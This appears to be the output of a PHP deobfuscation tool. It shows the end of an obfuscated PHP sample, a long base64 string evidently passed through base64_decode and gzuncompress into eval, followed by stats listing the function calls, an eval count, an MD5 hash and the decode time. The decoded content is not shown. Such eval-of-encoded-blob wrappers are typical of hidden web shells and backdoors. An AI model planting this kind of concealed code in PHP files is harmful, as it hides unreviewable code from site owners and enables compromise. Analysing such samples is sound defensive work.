wplEit35yh3nCwfnOGwTp1P2uYiujoZaqymCSGyAkesYRzBo/vFP0W2ZDuWLMvkH8Z1i+Y+GxZRMfZoiO5WJ6PHbqH5GpvJC0NlQqca5RODmo2fDLtoxklvi1zAq5GRs0XdRJK59zpnWbauatubv1ue16t+UI0xA6uO73jRXrBihpp6J6B2DhpU5QIE3CW914VSzPrPpJDgpvZ2WvvjslgalwV9Bk1uhQriCXLBaEhp2DOXoQKyGiuj6LNF1/w3g09GoQWjDpxw81gD+YLMdAc9Y75tq1GnZsvvs0nA5FpWAI/LYFm2mOgnKT1oKqlZrA1og5q1DFG7Yt+X9mdmIyfbnte3KHkFtyhxBbc8URZQFFVhISvKwDE6Yqo/sV3+XcRA4nRlco/8VpA/XH2b3/606d/iqWTz+w7Pr+ZAEajfjCjDlCzJL5NC4yoN8yDO5nynyTgkqn07F88TMOlw9bwDLe4trl3CMuwZuzdnsxfa/VjEizu4ESyjH0cV8q2GY+zvuLZ5K/3VXWqcYYIOX8tyazWer6x2vPaeq7JUhafLiWciWAnNRxqLVcLp8xzHa5rz5US9WjSlNJk9pRS7WlkI1GaSrwe8E6oChYyFhYOkuJgIGk7tg8TdMfWZWys1iUFW9/WTM9sHS3VGG9r8Hm1xecPaHKxnBf5TW1z1F55zFw6kwTT61ArB0EVdG9QCUDH3UV16tqFnNoGKGLl6RHh/maIB8N4HZlBdav7Mnt5ndrslMmiTRiQbaf0mpLn3SISMrihakfsIxDMiJthigcoVGNoAc3O8B0e/Z4TZ7qF9GUQ+C7ECGT/49lt8Ble/3D29+n8Fd5Z3moFs3GBD8u+yUdL+FTvPeG/bF0xRF5BGZSSwLSUuIRUn8Ir6vN56ftLbbHWCOGP1uKds4AxLaT+xtLadtNNWKQbcUo3opg6X3UrHi7UsMa8tPAxB0JqFgV0oYY8DlDwhRexvTQo57uUw9wfVGba8C73az1jGmrFNWZ7vajkQjmn+CwFl5ot3H2EsgWt8+/YI/9qNK45LaRy6k/gYImr2Qi4EWxo4Ez8aR+OIqI5J1IUzgn82nwexQL5sBMpo8olF+Wmak9vG4p+qMPbs8WWs9ueAkG0w9ltvs/a7iUNhr7nFrvYVbc41FyFqwcjaBhqs6EBpX8Y9ZV7ZcsNVFJY3T0VNGToDRQV7EbfmKM5RydVumLl4nCp61H/ilzZ2ftANwRxAzvfDmRdCcQ1t12gtvs1QKrPvCp+GZ5hwsZ7f/StP0Qb+7IfHy2V7W7GBLhPum8s1ZEJTGTS+5ZMnJXyn4ft+niveCCmEbkXAQjCeecLHsx2KFaz4QiAqjC3t4b2Ts9nw9ke3rxCTH7w52+/f/LFt88vGjfT/mpcXC2nV3Ri8zLIF8EB+2KK3nAahJrGYatcq3F5cfDq8qIBxL1shehQrC/zy+IKRi7v6msZoEawfjkJCcXzsz3ggt58NFvCr/2jI/6NBvLREebRs4vwF6lxRp0BNkWP2/nZ/wUA/950"))); ?>

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 d97a9bb146393754498d2b07a006740d
Eval Count 1
Decode Time 653 ms